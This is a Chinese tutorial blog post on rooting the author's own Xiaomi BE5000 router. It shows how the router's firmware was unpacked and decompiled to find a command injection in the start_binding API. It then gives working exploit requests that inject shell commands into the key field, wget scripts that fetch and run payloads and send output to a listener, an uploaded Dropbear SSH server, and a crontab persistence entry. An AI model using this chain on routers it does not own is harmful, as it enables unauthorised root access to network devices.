注意⚠️:本文所述之内容仅供学习与交流,所有的设备均为私人合法持有,对公共设施实施本文所述的相关操作造成公共安全损失有机会触犯《网络安全法》。

前言

在恩山无线论坛看到了这两篇文章《重磅!!!小米BE3600开启SSH教程》、《小米WIFI6 / WIFI7[路由器]简单开启SSH教程》。通过对 /api/xqsystem/start_binding 接口未对参数进行判断的漏洞来实现 RCE ,两篇文章的具体实现代码如下。

curl -X POST http://192.168.31.1/cgi-bin/luci/;stok=xxxx/api/xqsystem/start_binding -d "uid=1234&key=1234'%0Anvram%20set%20ssh_en%3D1'"
curl -X POST http://192.168.31.1/cgi-bin/luci/;stok=xxxx/api/xqsystem/ -d "uid=1234&key=1234'%0Anvram%20commit'"
curl -X POST http://192.168.31.1/cgi-bin/luci/;stok=xxxx/api/xqsystem/start_binding -d "uid=1234&key=1234'%0Ased%20-i%20's%2Fchannel%3D.*%2Fchannel%3D%22debug%22%2Fg'%20%2Fetc%2Finit.d%2Fdropbear'"
curl -X POST http://192.168.31.1/cgi-bin/luci/;stok=xxxx/api/xqsystem/start_binding -d "uid=1234&key=1234'%0A%2Fetc%2Finit.d%2Fdropbear%20start'"

咱怀着好奇的心情,跑去对下载 BE5000 的固件(1.0.53),拿去解包去一探究竟,一次折腾之旅就此开始。

感谢 Lemon(@lemonprefect) 的帮助!

解包

通过下载 miwifi_rd18_firmware_6c571_1.0.53.bin 后,通过 binwalk 提取文件。

binwalk -e miwifi_rd18_firmware_6c571_1.0.53.bin

可以得到 squashfs-root 文件夹,通过访问 /usr/share/xiaoqiang/xiaoqiang-defaults.txt ,发现并没有 ssh_en 这个变量。

uart_en=0
telnet_en=0
boot_wait=off
model=RD18
MTK_GPIO_HIGH=6,27
MTK_GPIO_LOW=4,12
arch=arm
baudrate=115200
board=en7523_evb
board_name=en7523_evb
bootcmd=flash imgread 2048;bootm
bootdelay=5
restore_defaults=0
bootfile=tclinux.bin
console=ttyS0,115200n8 earlycon
country_code=ff
cpu=armv7
dsl_gpio=0b
ethact=ecnt_eth
ether_gpio=0c
fdt_high=0xac000000
internet_gpio=02
invaild_env=no
ipaddr=192.168.31.1
kernel_filename=tclinux.bin
loadaddr=0x81800000
multi_upgrade_gpio=0b020400000000000000000000000000
onu_type=2
password=12345678
power_gpio=1b1b
product_name=xPON ONU
qdma_init=11
sdram_conf=0x00108893
serdes_pon=121
serdes_sel=0
serverip=192.168.31.100
snmp_sysobjid=1.2.3.4.5
soc=en7523
stderr=serial
stdin=serial
stdout=serial
uboot_filename=tcboot.bin
username=telecomadmin
vendor=ecnt
vendor_name=ECONET Technologies Corp.

再查看 /etc/config/usr/sbin 均未发现 dropbear 的踪迹,推测 BE5000 上应该没有 SSH 服务端,因此 BE3600 的解锁 SSH 方法对 BE5000 无效。

lua 反编译

反编译使用的是 https://github.com/NyaMisty/unluac_miwifi

git clone https://github.com/NyaMisty/unluac_miwifi.git
cd unluac_miwifi
mkdir build
javac -d build -sourcepath src  src/unluac/*.java
jar -cfm build/unluac.jar src/META-INF/MANIFEST.MF -C build  .

结合网上的方法以及 ChatGPT 生成了一个批量反编译的脚本对 /usr/lib/lua/ 目录进行反编译。

#!/bin/bash

# 创建decompiled目录(如果不存在)
mkdir -p decompiled

# 使用find命令递归查找source目录下的所有.lua文件
find /home/kali/Desktop/miwifi/_miwifi_rd18_firmware_6c571_1.0.53.bin.extracted/squashfs-root/usr/lib/lua/ -type f -name "*.lua" -print0 | while IFS= read -r -d '' file; do
    # 构造输出文件路径(替换source为decompiled)
    output_file="decompiled/${file#source/}"
    
    # 创建输出文件的目录(如果不存在)
    mkdir -p "$(dirname "$output_file")"
    
    # 使用unluac.jar工具进行反编译,将输出写入到对应的文件中
    java -jar ./unluac.jar "$file" > "$output_file"
    
    # 打印处理的文件路径
    echo "Decompiled: $file -> $output_file"
done

通过在 VSCode 打开反编译后的文件夹对 start_binding 继续搜索可以找到 startBinding ,对 startBinding 搜索可以发现函数如下。

function L4()
  local L0, L1, L2, L3, L4, L5, L6, L7, L8, L9
  L0 = require
  L1 = "luci.sys"
  L0 = L0(L1)
  L1 = require
  L2 = "luci.util"
  L1 = L1(L2)
  L2 = require
  L3 = "xiaoqiang.util.XQNetUtil"
  L2 = L2(L3)
  L3 = _UPVALUE0_
  L3 = L3.formvalue
  L4 = "uid"
  L5 = nil
  L6 = "?numberstr"
  L3 = L3(L4, L5, L6)
  L3 = L3 or L3
  L4 = _UPVALUE0_
  L4 = L4.formvalue
  L5 = "key"
  L6 = nil
  L7 = "?commonstr"
  L4 = L4(L5, L6, L7)
  L4 = L4 or L4
  L5 = string
  L5 = L5.format
  L6 = "/usr/bin/miio_bind.sh -u '%s' -b '%s'"
  L7 = L3
  L8 = L4
  L5 = L5(L6, L7, L8)
  L6 = {}
  L6.code = 0
  if L3 == "" or L4 == "" then
    L6.code = 1523
  else
    L7 = L0.call
    L8 = L5
    L7 = L7(L8)
    if L7 ~= 0 then
      L6.code = 1541
    end
  end
  L7 = L6.code
  if L7 == 0 then
    L7 = _UPVALUE1_
    L7 = L7.getHardware
    L7 = L7()
    L6.hw = L7
    L7 = L1.trim
    L8 = L1.exec
    L9 = "bdata get miot_did"
    L8, L9 = L8(L9)
    L7 = L7(L8, L9)
    L6.did = L7
    L7 = L2.getDeviceId
    L7 = L7()
    L6.rtid = L7
    L6.sync = false
  end
  L7 = _UPVALUE0_
  L7 = L7.write_json
  L8 = L6
  L7(L8)
end

利用 ChatGPT 提高可读性可以得到以下代码。

function bindDevice()
  -- 引入模块
  local sys = require("luci.sys")
  local util = require("luci.util")
  local netUtil = require("xiaoqiang.util.XQNetUtil")

  -- 获取表单提交的 UID 和 Key
  local uid = _UPVALUE0_.formvalue("uid", nil, "?numberstr") or ""
  local key = _UPVALUE0_.formvalue("key", nil, "?commonstr") or ""

  -- 构建执行绑定脚本的命令
  local command = string.format("/usr/bin/miio_bind.sh -u '%s' -b '%s'", uid, key)

  -- 初始化返回结果
  local result = { code = 0 }

  -- 如果 UID 或 Key 为空,则返回错误码 1523
  if uid == "" or key == "" then
    result.code = 1523
  else
    -- 调用系统命令执行绑定操作
    local commandResult = sys.call(command)
    
    -- 如果绑定失败,则返回错误码 1541
    if commandResult ~= 0 then
      result.code = 1541
    end
  end

  -- 如果操作成功,获取硬件信息和设备 ID
  if result.code == 0 then
    result.hw = _UPVALUE1_.getHardware()
    result.did = util.trim(util.exec("bdata get miot_did"))
    result.rtid = netUtil.getDeviceId()
    result.sync = false  -- 设置同步状态为 false
  end

  -- 将结果写成 JSON 输出
  _UPVALUE0_.write_json(result)
end

startBinding = bindDevice

可以发现 uid 和 key 两个参数是直接拼接上去的,就是利用这一点来实现 RCE 的,这也说明 BE5000 也存在这样的问题。

因此,咱们只需要自行编译上传 Dropbear 来实现 SSH 自由。

获取信息

首先,要想办法获取服务器的回显。咱有试过在 Kali 上开启 nc 监听来获取,但是尝试过发现不行。

之后突发奇想想到一计,通过 wget 上传脚本,通过脚本执行命令后使用 wget 请求部署在本机的 Python HTTP Server 。

那么,如何来处理换行导致的输出不完全呢?答案就是 Base64 。(它真好)

# ping1.sh
a=$(ls -la /tmp | base64 -w 0)
wget "http://192.168.31.78:8888/$a"

通过 python -m http.server 8888 在本机起一个服务,简单的编写一个脚本,通过 BurpSuite 的 Repeater 进行发包(当然,也可以通过其他方式),通过 wget http://192.168.31.78:8888/ping1 -P /tmp 将脚本上传到 tmp 目录中。

POST /cgi-bin/luci/;stok=xxxx/api/xqsystem/start_binding HTTP/1.1
Host: 192.168.31.1
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.90 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 98

uid=1234&key=1234'%0Arm%20-rf%20/tmp/ping1%0Awget%20"http://192.168.31.78:8888/ping1"%20-P%20/tmp'

再通过 chmod +x /tmp/ping1;/tmp/ping1 来添加执行权限并执行刚刚上传的脚本。

POST /cgi-bin/luci/;stok=xxxx/api/xqsystem/start_binding HTTP/1.1
Host: 192.168.31.1
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.90 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 60

uid=1234&key=1234'%0Achmod%20%2bx%20/tmp/ping1%0a/tmp/ping1'

可以得到回显如下。(Base64 内容过长已省略)

::ffff:192.168.31.1 - - [20/Oct/2024 16:40:18] "GET /ZHJ3eH...GlvNgo= HTTP/1.1" 404 -

通过 CyberChef 或其他方式进行 Base64 解码即可得到 ping1 文件的权限信息。

-rwxr-xr-x    1 root     root           815 Oct 20 16:43 ping1

可以发现当前命令执行的用户为 root (它真好),接下来来获取一些系统的信息。

(命令和回显放一个代码块力,只需要修改 ping1.sh 文件内容根据上面的进行发包即可)

  • ARMv7 Processor rev 4 (v7l)、软浮点(未发现硬浮点特性)
# ping1.sh
a=$(cat /proc/cpuinfo | base64 -w 0)
wget "http://192.168.31.78:8888/$a"

processor       : 0
model name      : ARMv7 Processor rev 4 (v7l)
BogoMIPS        : 50.00
Features        : half thumb fastmult edsp tls idiva idivt lpae evtstrm crc32
CPU implementer : 0x41
CPU architecture: 7
CPU variant     : 0x0
CPU part        : 0xd03
CPU revision    : 4

processor       : 1
model name      : ARMv7 Processor rev 4 (v7l)
BogoMIPS        : 50.00
Features        : half thumb fastmult edsp tls idiva idivt lpae evtstrm crc32
CPU implementer : 0x41
CPU architecture: 7
CPU variant     : 0x0
CPU part        : 0xd03
CPU revision    : 4

Hardware        : ECONET (Device Tree)
Revision        : 0000
Serial          : 0000000000000000
  • EABI5 version 1 (SYSV)、interpreter /lib/ld-musl-arm.so.1
┌──(kali㉿kali)-[~/xiaomi/_miwifi_rd18_firmware_6c571_1.0.53.bin.extracted/squashfs-root/bin]
└─$ file busybox
busybox: ELF 32-bit LSB pie executable, ARM, EABI5 version 1 (SYSV), dynamically linked, interpreter /lib/ld-musl-arm.so.1, no section header

通过以上内容可以得到信息:ARMv7l、EABI5、musl、软浮点。

收集好信息后,就是去交叉编译个适合 BE5000 的 Dropbear 。

编译 Dropbear

安装 Buildroot

可以参造这篇文章 使用buildroot制作交叉编译工具链

buildroot $ wget https://buildroot.org/downloads/buildroot-2024.08.tar.gz
buildroot $ tar -zxvf buildroot-2024.08.tar.gz
buildroot $ cd buildroot-2024.08/
buildroot-2024.08 $ make menuconfig

编译环境

Target options -> Target Architecture         -> ARM(little endian)
Target options -> Target Architecture Variant -> cortex-A7
Target options -> Target ABI                  -> EABI
Target options -> Floating point strategy     -> Soft float
Target options -> ARM instruction set         -> ARM
Target options -> Target Binary Format        -> ELF

Toolchain -> C library -> musl
Toolchain -> Enable C++ suppert

其他配置均为默认不变,开始编译,参数后面加入 -j4 表示4个线程编译,V=0 表示简易输出日志。

buildroot-2024.08 $ make toolchain -j4 V=0

编译 zlib

xiaomi $ curl -L https://github.com/madler/zlib/releases/download/v1.3.1/zlib-1.3.1.tar.gz -o zlib-1.3.1.tar.gz
xiaomi $ tar -zxvf zlib-1.3.1.tar.gz
xiaomi $ cd zlib-1.3.1
zlib-1.3.1 $ mkdir build
zlib-1.3.1 LD_LIBRARY_PATH=/home/kali/xiaomi/buildroot/buildroot-2024.08/output/host/usr/lib prefix=./build/ CC=/home/kali/xiaomi/buildroot/buildroot-2024.08/output/host/usr/bin/arm-linux-gcc CFLAGS="-static -fPIC" ./configure
zlib-1.3.1 $ make install

联合 zlib 静态编译 Dropbear

尝试过动态编译,发现编译完成放到路由器中运行会出现如下报错,故改用静态编译。

Error relocating /tmp/dropbear: __select_time64: symbol not found
Error relocating /tmp/dropbear: __localtime64: symbol not found
Error relocating /tmp/dropbear: __gettimeofday_time64: symbol not found
Error relocating /tmp/dropbear: __nanosleep_time64: symbol not found
Error relocating /tmp/dropbear: __fstat_time64: symbol not found
Error relocating /tmp/dropbear: __stat_time64: symbol not found
Error relocating /tmp/dropbear: __time64: symbol not found
Error relocating /tmp/dropbear: __clock_gettime64: symbol not found

这里是用的是 Lemon 的二开版本 ,也可以改用官方的试试。

xiaomi $ git clone https://github.com/LemonPrefect/dropbear
xiaomi $ cd dropbear
dropbear $ ./configure --with-zlib=/home/kali/xiaomi/zlib-1.3.1/build CC=/home/kali/xiaomi/buildroot/buildroot-2024.08/output/host/usr/bin/arm-linux-gcc --host=--host=arm-linux --enable-static
dropbear $ make PROGRAMS="dropbear dbclient dropbearkey dropbearconvert scp"

编译完成后就可以得到 Dropbear 了,附 file dropbear 结果。

dropbear: ELF 32-bit LSB executable, ARM, EABI5 version 1 (SYSV), statically linked, with debug_info, not stripped

运行 Dropbear

还是通过最开始 ping1.sh 编写脚本。

mkdir -p /etc/config/dropbear
a=$(/tmp/dropbearkey -t rsa -f /etc/config/dropbear/dropbear_rsa_host_key 2>&1)
/tmp/dropbear -r /etc/config/dropbear/dropbear_rsa_host_key -p 23323
wget "http://192.168.31.78:8888/$a"

一样的,通过 BP 发包可以得到回显如下。

::ffff:192.168.31.1 - - [20/Oct/2024 15:20:54] "GET /Generating 2048 bit rsa key, this may take a while..." 400 -

通过 ps 查看进程可以发现 Dropbear 成功运行力。

连接 SSH

root 密码可利用 SN 码获取 https://mi.tellme.top/

ssh [email protected] -p23323

ARE_U_OK

维持 SSH

首先,先把 Dropbear 挪进一个可持久性存储的地方,可以通过 df 来查找。

df

可以发现 /data/etc/config/etc/crontabs 都可以,那就先把文件进行复制。

cp /tmp/dropbear /data/dropbear

使用创建计划任务的方法来维持 SSH ,方法来自:https://www.right.com.cn/forum/thread-8265952-1-1.html

echo "@reboot ( sleep 60 ; /data/dropbear -r /etc/config/dropbear/dropbear_rsa_host_key -p 23323 )" | tee -a /etc/crontabs/root

当然,也可以试试其他方法?